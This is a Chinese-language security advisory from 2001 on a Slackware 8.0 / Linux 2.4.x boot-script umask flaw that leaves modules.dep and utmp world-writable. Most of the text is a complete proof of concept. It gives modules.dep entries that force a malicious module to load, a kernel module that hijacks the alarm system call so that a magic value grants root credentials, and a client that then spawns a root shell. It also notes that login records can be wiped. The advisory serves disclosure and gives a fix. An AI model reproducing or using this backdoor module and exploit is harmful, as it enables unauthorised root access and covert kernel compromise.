Linux 2.4.x Slackware Init 脚本存在漏洞发布时间:2001-07-25 更新时间:2001-07-25 严重程度:高 威胁程度:本地管理员权限 错误类型:设计错误 利用方式:服务器模式 受影响系统 Slackware version 8.0详细描述 Linux 2.4.x存在安全漏洞允许攻击者装载他们自己的模块 到操作系统内核,问题主要是因为内核没有对文件很好的 设置正确的权限,使他们全局可读。 2.4.3开始的内核在装载后,留下一个0000 umask,这迫使 任何在启动脚本中建立的文件没有使用'umask 022'命令, 在Slackware中,文件包括/var/run/utmp和/var/run/gpm.pid。 同样漏洞存在/lib/modules/`uname -r`/modules.dep 也是同样 可写,当这个文件全局可写,攻击者只需要把如下的内容放到 /lib/modules/`uname -r`/modules.dep 下即可: 测试代码 /lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/alarm.o /tmp/alarm.o: Where the alarm.o module is: #include <linux/config.h> #include <linux/module.h> #include <linux/version.h> #include <linux/types.h> #include <asm/segment.h> #include <asm/unistd.h> #include <linux/dirent.h> #include <sys/syscall.h> #include <sys/sysmacros.h> #include <linux/sched.h> #include <linux/errno.h> #include <linux/fs.h> #include <linux/kernel.h> extern void* sys_call_table[]; unsigned int (*old_alarm) (unsigned int seconds); unsigned int hacked_alarm (unsigned int seconds); unsigned int hacked_alarm(unsigned int seconds) { if(seconds == 454) { current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } return old_alarm(seconds); } int init_module(void) { old_alarm=sys_call_table[SYS_alarm]; sys_call_table[SYS_alarm] = hacked_alarm; return 0; } void cleanup_module(void) { sys_call_table[SYS_alarm] = old_alarm; } make a client: #include <stdio.h> #include <unistd.h> int main(void) { alarm(454); execl("/bin/sh", "sh", NULL); } 当模块被装载的时候,SHELL也以ROOT身份执行。 另外由于/var/run/utmp可写,用户可以可以删除等登陆信息。 解决方案 在所有启动脚本中增加umask 022. 相关信息 lockdown at lockeddown.net |